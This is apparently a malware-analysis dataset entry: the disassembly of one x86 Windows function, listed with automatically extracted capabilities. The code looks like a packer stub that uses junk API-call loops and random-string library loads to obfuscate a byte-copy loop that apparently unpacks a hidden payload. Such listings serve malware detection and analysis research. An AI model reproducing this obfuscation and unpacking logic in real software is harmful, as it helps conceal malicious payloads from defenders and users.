Function at 0x4316e0
Capabilities:
Connect pipe
Copy file
Get disk information
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2060
call fcn.00406fb0
mov eax, dword [0x434008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push edi
xor edi, edi
jmp 0x431710
cmp dword [0x50e3dc], 0x7d
jne 0x431744
push 0
lea eax, [ebp - 0x804]
push eax
lea ecx, [ebp - 0x2048]
push ecx
lea edx, [ebp - 0x2040]
push edx
lea eax, [ebp - 0x2050]
push eax
push 0
lea ecx, [ebp - 0x1004]
push ecx
push 0
call ebx
cmp edi, 0x4e8
jne 0x43175e
mov edx, dword [0x435268]
add edx, 0x9e49
mov dword [0x50e3dc], edx
cmp dword [0x50e3dc], 0xbcd
jne 0x4317a3
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x204c]
push edx
mov word [ebp - 0x203c], ax
mov word [ebp - 0x203a], cx
mov eax, dword [ebp - 0x203c]
push eax
push ecx
push ecx
push ecx
call esi
mov dword [0x435e50], 0xec58ac98
mov dword [0x435e54], 0xffffffff
inc edi
cmp edi, 0x114af2c
jl 0x431710
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
xor esi, esi
cmp esi, 0x56051f
jne 0x4317cc
mov ecx, dword [0x434c58]
mov dword [0x50e50c], ecx
cmp dword [0x50e3dc], 0x3c
jne 0x4317d9
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x4317b8
cmp dword [0x50e3dc], 0x7c
jne 0x4318fd
push 0
push 0
lea edx, [ebp - 0x204c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea eax, [ebp - 0x2050]
push eax
lea ecx, [ebp - 0x804]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x2e
lea edx, [ebp - 0x2034]
push esi
push edx
mov dword [ebp - 0x2038], esi
call fcn.00404180
add esp, 0xc
push esi
lea eax, [ebp - 0x2038]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
lea ecx, [ebp - 0x2048]
push ecx
mov dword [ebp - 0x2048], esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [ebp - 0x203e], ax
xor ecx, ecx
mov word [ebp - 0x203a], dx
lea eax, [ebp - 0x2058]
push eax
mov word [ebp - 0x203c], cx
mov ecx, dword [ebp - 0x203c]
push ecx
mov word [ebp - 0x2040], dx
mov edx, dword [ebp - 0x2040]
push edx
lea eax, [ebp - 0x2044]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea ecx, [ebp - 0xc04]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [0x50e3dc], 0x2d
jne 0x4318ee
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push esi
call fcn.00401168
push esi
call fcn.0040117e
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
jmp 0x431910
push 0
push 0
call edi
call ebx
cmp esi, 0x24bfd
jg 0x431929
inc esi
cmp esi, 0xebabb
jl 0x431910
cmp dword [0x50e3dc], 0x2a
jne 0x431a1c
xor esi, esi
push esi
mov dword [0x50e3d0], esi
mov dword [0x50e3d4], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea edx, [ebp - 0x2044]
push edx
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
xor eax, eax
lea edx, [ebp - 0xc04]
push edx
push str.cawoxa
mov dword [ebp - 0x205e], eax
mov dword [ebp - 0x205a], eax
mov dword [ebp - 0x2056], eax
mov word [ebp - 0x2052], ax
lea eax, [ebp - 0x2060]
push eax
push esi
xor ecx, ecx
push esi
mov word [ebp - 0x2060], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
lea ecx, [ebp - 0x204c]
push ecx
push str.viyeponanurihapebofimota
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push esi
push esi
lea edx, [ebp - 0x404]
push edx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
lea eax, [ebp - 0x1804]
push eax
push str.yidasesicehifokabapexik
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
push esi
call fcn.0040109e
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
add esp, 0x24
push esi
call fcn.00401429
call fcn.00431390
mov ecx, dword [0x50e3dc]
xor eax, eax
test ecx, ecx
jbe 0x431a5d
mov edi, dword [0x50e50c]
mov esi, dword [0x50e224]
mov edx, 0x17bc
mov edi, edi
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x431a58
mov dword [0x50e228], edx
inc eax
cmp eax, ecx
jb 0x431a40
push str.wuliwiyixenotafube
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.004313c0
call fcn.00431650
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x50e3dc], 0x41
jne 0x431a97
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x431aa4
call fcn.004313b0
cmp dword [0x50e3dc], 0xc
jne 0x431aba
lea ecx, [ebp - 0x2044]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x431a80
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
jmp 0x431ae0
cmp dword [0x50e3dc], 0x7c4
mov dword [0x50e22c], edi
jne 0x431af9
push str.bepoculay
call esi
sub ebx, 1
jne 0x431ae0
mov ecx, dword [ebp - 0x2028]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x431b1f
cmp ecx, 0xf5bed7
jne 0x431b27
inc eax
cmp eax, 0x687ed2
jl 0x431b10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret